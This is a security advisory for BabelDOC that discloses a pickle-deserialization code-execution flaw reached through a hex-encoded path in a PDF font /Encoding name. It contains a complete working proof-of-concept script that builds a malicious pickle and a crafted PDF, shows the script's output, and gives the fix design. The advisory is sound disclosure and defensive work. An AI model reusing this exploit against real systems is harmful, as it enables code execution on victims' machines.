GHSA-M8GF-V64P-GFMG

Vulnerability from github – Published: 2026-07-10 19:32 – Updated: 2026-07-10 19:32
VLAI
Summary
BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
Details

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")          # line 233 — only NUL is stripped
    filename = "%s.pickle.gz" % name       # line 234 — attacker-controlled string
    ...
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # line 241 — no realpath/canonical check
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 — unconditional pickle

Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

Data flow from PDF to sink:

  1. babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
  2. babeldoc/main.py:678–679 — path stored in TranslationConfig(input_file=file).
  3. babeldoc/format/pdf/high_level.py:472–488translation_config.input_file enters the translate pipeline.
  4. babeldoc/format/pdf/high_level.py:805–848 — PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.
  5. babeldoc/format/pdf/new_parser/native_parse.py:60–70 — prepared pages loaded and interpreted.
  6. babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34 — PyMuPDF opens the PDF and builds page resources.
  7. babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94 — font resources converted to PreparedFontSpec.
  8. babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35 — page resource bundle resolves root font map.
  9. babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87 — each font spec projected and passed to font_factory.create_font.
  10. babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493 — CID fonts call build_cid_cmap(spec, literal_name=literal_name).
  11. babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.
  12. babeldoc/pdfminer/cmapdb.py:233–245sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

Sanitization gaps:

  • name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
  • There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
  • There is no allowlist of known CMap names nor any integrity verification of the pickle data.

Recommended patch (babeldoc/pdfminer/cmapdb.py):

--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
         cmap_paths = (
             os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
             os.path.join(os.path.dirname(__file__), "cmap"),
         )
         for directory in cmap_paths:
-            path = os.path.join(directory, filename)
+            base_dir = os.path.realpath(directory)
+            path = os.path.realpath(os.path.join(base_dir, filename))
+            try:
+                if os.path.commonpath([base_dir, path]) != base_dir:
+                    continue
+            except ValueError:
+                continue
             if os.path.exists(path):
                 gzfile = gzip.open(path)

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker — recommended for isolation):

# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap

Manual setup (local venv):

python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py

PoC script (poc.py) — key steps:

import gzip, pathlib, pickle, sys

CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")

# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
    def __reduce__(self):
        return (pathlib.Path(str(PROOF_FILE)).write_text,
                ("RCE_CONFIRMED: pickle.loads executed attacker payload",))

CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)

# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py

# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
    extract_text(str(MALICIOUS_PDF))
except TypeError:
    pass  # expected: type(name, (), <int>) fails after write_text returns int

# Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text())  # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

Phase 2 dynamic reproduction output (Docker container):

[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================

The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.

Attack path summary:

PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
  -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"   # absolute path!
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
     == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"           # first arg discarded
  -> gzip.open() + pickle.loads() -> arbitrary code execution

Impact

This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.

Who is impacted:

  • End users who open a malicious PDF with the babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.
  • Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.

Attack prerequisites:

  1. The attacker must be able to place a .pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.
  2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.

Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.

Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends \
    libfreetype6 \
    && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir \
    freetype-py==2.5.1 \
    charset-normalizer \
    cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

poc.py

"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
from the CMap name before building a filesystem path.  A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious
    -> pdfminer hex-decodes #2F -> '/'
    -> literal_name() returns "/tmp/.../malicious"
    -> _load_data("/tmp/.../malicious")
    -> filename = "/tmp/.../malicious.pickle.gz"   (absolute path!)
    -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
       == "/tmp/.../malicious.pickle.gz"            (Python discards first arg)
    -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")


# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
    """Pickle payload that writes a proof file on deserialization."""

    def __reduce__(self):
        # Write proof file when unpickled; any writable command works here.
        return (
            pathlib.Path(str(PROOF_FILE)).write_text,
            ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
        )


def create_malicious_pickle():
    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
    PROOF_FILE.unlink(missing_ok=True)

    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
        pickle.dump(MaliciousPayload(), fh)

    print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")


# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create_malicious_pdf():
    """
    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
    PDF literal that hex-encodes an absolute Unix path.

    PDF name syntax: /<characters>  where #xx is hex escape for byte 0xxx.
    "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
    "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

    When passed through babeldoc/pdfminer:
      literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
      _load_data()  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
      os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
        => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  (absolute wins!)
    """
    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
    # '#2F' = '/' in PDF name hex encoding
    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

    content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"

    # PDF objects (1-indexed)
    objs = [
        # 1: Catalog
        b"<< /Type /Catalog /Pages 2 0 R >>",
        # 2: Pages
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        # 3: Page - references content stream (4) and font (5)
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
        b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
        # 4: Content stream
        b"<< /Length %d >>\nstream\n" % len(content_stream)
        + content_stream
        + b"\nendstream",
        # 5: Type0 font with malicious /Encoding name
        b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
        b" /Encoding " + encoding_name + b""
        b" /DescendantFonts [6 0 R] >>",
        # 6: CIDFontType2 descendant
        b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
        b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
        b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
        # 7: FontDescriptor (minimal)
        b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
        b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
        b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
    ]

    buf = bytearray(b"%PDF-1.4\n")
    offsets = []
    for i, obj_data in enumerate(objs, 1):
        offsets.append(len(buf))
        buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"

    xref_offset = len(buf)
    buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
    for off in offsets:
        buf += f"{off:010d} 00000 n \n".encode()
    buf += (
        f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n"
    ).encode()

    MALICIOUS_PDF.write_bytes(bytes(buf))
    print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")


# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
# ---------------------------------------------------------------------------
def trigger_exploit():
    from babeldoc.pdfminer.high_level import extract_text

    print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
    try:
        result = extract_text(str(MALICIOUS_PDF))
        print(f"[+] extract_text completed, returned {len(result)} chars")
    except Exception as exc:
        # A TypeError is expected: after pickle.loads() returns the result of
        # write_text() (an int), the code tries type(name, (), <int>) which
        # raises TypeError.  The write has already happened at this point.
        print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
        print("[*] This exception is expected; the payload ran before it.")


# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify_rce():
    if PROOF_FILE.exists():
        content = PROOF_FILE.read_text()
        print()
        print("=" * 60)
        print("RESULT: PASS")
        print(f"Proof file: {PROOF_FILE}")
        print(f"Content:    {content!r}")
        print("=" * 60)
        return True
    else:
        print()
        print("=" * 60)
        print("RESULT: FAIL")
        print(f"Proof file {PROOF_FILE} was NOT created.")
        print("=" * 60)
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
    print(f"Python: {sys.version}")
    print()

    create_malicious_pickle()
    create_malicious_pdf()
    trigger_exploit()
    success = verify_rce()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer review. The severity rating remains High.

One metric is revised; the remaining metrics (AV:L, AC:L, PR:N, UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.

  • Scope: Changed → Unchanged. BabelDOC is a PDF-processing library running with the caller process's operating-system permissions; it does not enforce a separate security authority over OS files, users, or downstream services. The malicious pickle payload executes in that same BabelDOC Python process. Under CVSS v3.1, this is Scope Unchanged: the vulnerable component and the impacted component are governed by the same authority. No sandbox, VM, browser-client, or application-defined authorization boundary is crossed.

The remaining metrics are retained intentionally:

  • AV:L, PR:N, UI:R: the attack requires local presence of attacker-influenced data (consistent with AV:L), does not require authenticated access to BabelDOC itself (PR:N), and depends on a user actually processing the crafted PDF (UI:R).
  • AC:L: kept aligned with industry practice for CWE-502 deserialization issues; once the supporting filesystem condition exists, the same-process exploitation path is consistent and repeatable.
  • C:H, I:H, A:H: full code-execution impact within the BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName font dictionary path, with absolute-path injection. Local review during patch preparation identified that the same _load_data sink is reached from one additional independently exploitable PDF-controlled path and two prefixed call sites covered at the sink for defense in depth:

  1. Encoding / CMapName references in a font dictionary (reported entry; absolute-path injection per the upstream report, .. relative traversal also exploitable)
  2. The PostScript usecmap operator inside an embedded CMap stream (independently exploitable via .. relative traversal; not in the original report)
  3. CIDSystemInfo.Ordering flowing through get_unicode_map in the legacy pdfminer pipeline
  4. CIDSystemInfo.Ordering flowing through get_unicode_map in the active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only exploit paths in v0.6.x. The get_unicode_map caller prepends a to-unicode- prefix to the PDF-controlled name, which breaks absolute-path injection and means .. traversal would require an additional crafted directory layout such as a to-unicode-* component under a CMap search location. The 0.6.3 sink-level fix still covers these call sites, so future removal of the prefix or a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:

  1. appear in a pinned manifest of bundled CMap filenames (allowlist),
  2. resolve inside the bundled runtime/data/cmap directory after path resolution (containment check), and
  3. byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk .gz bytes before decompression, so files whose compressed size or SHA-256 differs from the pinned manifest are rejected before gzip or pickle sees them. The legacy CMAP_PATH external search path is removed entirely; only the bundled directory is consulted. The active new-parser pipeline and the vendored pdfminer pipeline share the same verified-load entry point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled XObject names before they reach the optional ImageWriter output path, preventing PDF-driven writes outside the configured output directory. This is separate from BabelDOC's default translation pipeline: the optional ImageWriter is not used by default and is only reachable when a third-party caller passes an explicit output_dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.

  • Do not set the CMAP_PATH environment variable when running BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3 versions, unsetting it limits the attack surface to the bundled cmap directory under the BabelDOC package.
  • Run BabelDOC under an account that cannot create files in any directory BabelDOC will read CMap data from, including any pre-0.6.3 CMAP_PATH target.
  • Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.

Timeline

  • 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and notifies maintainers
  • 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
  • 2026-06-03 09:50 UTC: this advisory published
  • TBD: CVE identifier assigned (pending GitHub CNA review; GitHub documentation says CVE requests are usually reviewed within 72 hours)

References

  • BabelDOC 0.6.3 release notes: https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md
  • CVE: TBD (pending CNA assignment)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "BabelDOC"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:32:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC\u0027s vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python\u0027s `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF\u0027s `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232\u2013245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")          # line 233 \u2014 only NUL is stripped\n    filename = \"%s.pickle.gz\" % name       # line 234 \u2014 attacker-controlled string\n    ...\n    for directory in cmap_paths:\n        path = os.path.join(directory, filename)   # line 241 \u2014 no realpath/canonical check\n        if os.path.exists(path):\n            gzfile = gzip.open(path)\n            try:\n                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 \u2014 unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python\u0027s `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package\u0027s own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611\u2013622` \u2014 CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678\u2013679` \u2014 path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472\u2013488` \u2014 `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805\u2013848` \u2014 PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60\u201370` \u2014 prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25\u201334` \u2014 PyMuPDF opens the PDF and builds page resources.\n7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84\u201394` \u2014 font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21\u201335` \u2014 page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79\u201387` \u2014 each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291\u2013292, 491\u2013493` \u2014 CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52\u201377` \u2014 PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233\u2013245` \u2014 **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n         cmap_paths = (\n             os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n             os.path.join(os.path.dirname(__file__), \"cmap\"),\n         )\n         for directory in cmap_paths:\n-            path = os.path.join(directory, filename)\n+            base_dir = os.path.realpath(directory)\n+            path = os.path.realpath(os.path.join(base_dir, filename))\n+            try:\n+                if os.path.commonpath([base_dir, path]) != base_dir:\n+                    continue\n+            except ValueError:\n+                continue\n             if os.path.exists(path):\n                 gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker \u2014 recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF    = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE       = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 \u2014 write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (pathlib.Path(str(PROOF_FILE)).write_text,\n                (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n    pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 \u2014 craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 \u2014 trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n    extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n    pass  # expected: type(name, (), \u003cint\u003e) fails after write_text returns int\n\n# Step 4 \u2014 verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text())  # =\u003e \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent:    \u0027RCE_CONFIRMED: pickle.loads executed attacker payload\u0027\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), \u003cint\u003e)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n  -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n  -\u003e literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n  -\u003e CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"   # absolute path!\n  -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n     == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"           # first arg discarded\n  -\u003e gzip.open() + pickle.loads() -\u003e arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC\u0027s PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated 